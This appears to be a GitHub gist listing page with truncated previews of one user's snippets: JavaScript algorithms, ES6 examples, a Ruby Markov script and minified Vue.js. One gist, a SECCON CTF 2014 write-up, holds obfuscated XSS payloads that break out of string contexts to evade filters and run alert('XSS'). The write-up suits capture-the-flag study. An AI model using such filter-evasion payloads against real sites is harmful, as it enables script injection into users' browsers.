Skip to content

Instantly share code, notes, and snippets.

@tyage
tyage / Application
Last active August 29, 2015 14:15
学校から借りてるMBAの設定
$ ls /Applications
Adobe Google Chrome Canary.app QuickTime Player.app
Adobe Acrobat XI Pro Google Chrome.app Reminders.app
Adobe Creative Cloud Google Drive.app Safari.app
Aldebaran GoogleAppEngineLauncher.app Scratch 1.4
Android Studio.app GoogleJapaneseInput.localized SecureDownloadManager.app
App Store.app Growl.app Skype.app
Atom.app Gyazo GIF.app Slack.app
Automator.app Gyazo.app Steam.app
Blu-ray Player.app HTC Sync Manager.app Stickies.app
android-sdk gh little-cms python
ant ghc little-cms2 python3
aspcud git llvm34 qt
atk git-flow mcrypt rbenv
autoconf glib mecab rbenv-gem-rehash
automake gmp mecab-ipadic rbenv-gemset
binwalk gnutls mhash re2c
bison gobject-introspection mongodb readline
boost gringo mpfr reattach-to-user-namespace
boot2docker gtk+ mysql ruby-build
var calcAlignment = function(str1, str2) {
// DPにより最短経路を計算
var table = []
var n = str1.length;
var m = str2.length;
for (var i = 0; i <= n; ++i) {
table[i] = [];
for (var j = 0; j <= m; ++j) {
if (i === 0) { table[i][j] = { cost: -j, x: j - 1, y: 0 } }
else if (j === 0) { table[i][j] = { cost: -i, x: 0, y: i - 1 } }
let distance = (str1, str2) => {
let distanceTable = []
for (let i = 0; i <= str1.length; ++i) {
distanceTable[i] = []
for (let j = 0; j <= str2.length; ++j) {
distanceTable[i][j] = -1
}
}
for (let i = 0; i <= str1.length; ++i) {
distanceTable[i][0] = i
// ref: https://github.com/toshok/echo-js/blob/e9d3c55cd9eb852c627d1bd0f28972b99a137a40/runtime/ejs-reflect.c
let foo = {
bar: 123
};
let sym = Symbol('test')
foo[sym] = 456
// Reflect.get
console.log(Reflect.get(foo, 'bar')) // => 123
@tyage
tyage / bonsai-xss.js
Last active October 23, 2020 03:32
SECCON CTF 2014 Online Qualifications, XSS Bonsai writeup
";hoge14='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[][hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()//
\";hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[][hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()//
',(hoge20='constructorhogee'.replace('hogee',''),hoge21='alerthogee'.replace('hogee',''),hoge22='XSShogee'.replace('hogee',''),[][hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()),'
")};hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge
@tyage
tyage / class.js
Last active August 29, 2015 14:10
"use strict"
class C {
constructor() {
this.x = 1
}
say(str) {
console.log(str)
}
static static() {
require_relative './lib/markov'
require 'socket'
markov = Markov.new
timeline = []
File.open("./timeline.txt", "r") do |f|
f.each_line do |line|
timeline << line.chomp
end
@tyage
tyage / solve.js
Last active August 29, 2015 14:08
tkbctf args
(new g()).constructor(true)
/*
Vue.js v0.10.6
(c) 2014 Evan You
License: MIT
*/
!function(){"use strict";function e(t,i,r){var n=e.resolve(t);if(null!=n){var s=e.modules[n];if(!s._resolving&&!s.exports){var o={};o.exports={},o.client=o.component=!0,s._resolving=!0,s.call(this,o.exports,e.relative(n),o),delete s._resolving,s.exports=o.exports}return s.exports}}e.modules={},e.aliases={},e.exts=["",".js",".json","/index.js","/index.json"],e.resolve=function(t){"/"===t.charAt(0)&&(t=t.slice(1));for(var i=0;5>i;i++){var r=t+e.exts[i];if(e.modules.hasOwnProperty(r))return r;if(e.aliases.hasOwnProperty(r))return e.aliases[r]}},e.normalize=function(e,t){var i=[];if("."!=t.charAt(0))return t;e=e.split("/"),t=t.split("/");for(var r=0;r<t.length;++r)".."===t[r]?e.pop():"."!=t[r]&&""!=t[r]&&i.push(t[r]);return e.concat(i).join("/")},e.register=function(t,i){e.modules[t]=i},e.alias=function(t,i){e.modules.hasOwnProperty(t)&&(e.aliases[i]=t)},e.relative=function(t){function i(r){var n=i.resolve(r);return e(n,t,r)}var r=e.normalize(t,"..");return i